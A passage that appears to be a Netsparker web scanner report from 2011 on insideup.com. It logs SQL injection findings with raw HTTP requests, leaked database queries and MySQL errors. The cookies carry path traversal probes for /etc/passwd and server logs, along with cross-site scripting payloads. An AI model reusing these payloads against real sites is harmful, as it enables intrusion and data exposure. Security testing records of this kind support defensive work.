OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:23:55 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=g2ektgqg6f8aqv4u2pbescqi63; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/meac00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/meac00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/meac00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/meac00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/meac00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/inco00/project.php

/ppc/leadflow/inco00/project.php

http://www.insideup.com/ppc/leadflow/inco00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2B..

Parameters

Parameter	Type	Value
catId	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
iusrc	GET	iupsc

Request

GET /ppc/leadflow/inco00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:24:33 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=qei7ktqh0ftp7m3fhbsd54db26; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/inco00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/inco00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/inco00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/inco00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/inco00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/phsy00/project.php

/ppc/leadflow/phsy00/project.php

http://www.insideup.com/ppc/leadflow/phsy00/project.php?catId=110009&iusrc='%2B%20(select+convert(in..

Parameters

Parameter	Type	Value
catId	GET	110009
iusrc	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

GET /ppc/leadflow/phsy00/project.php?catId=110009&iusrc='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:24:59 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=add482e3u38tj137540fr8snd4; path=/
Content-Length: 4153
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId=110009&iusrc='+ (select 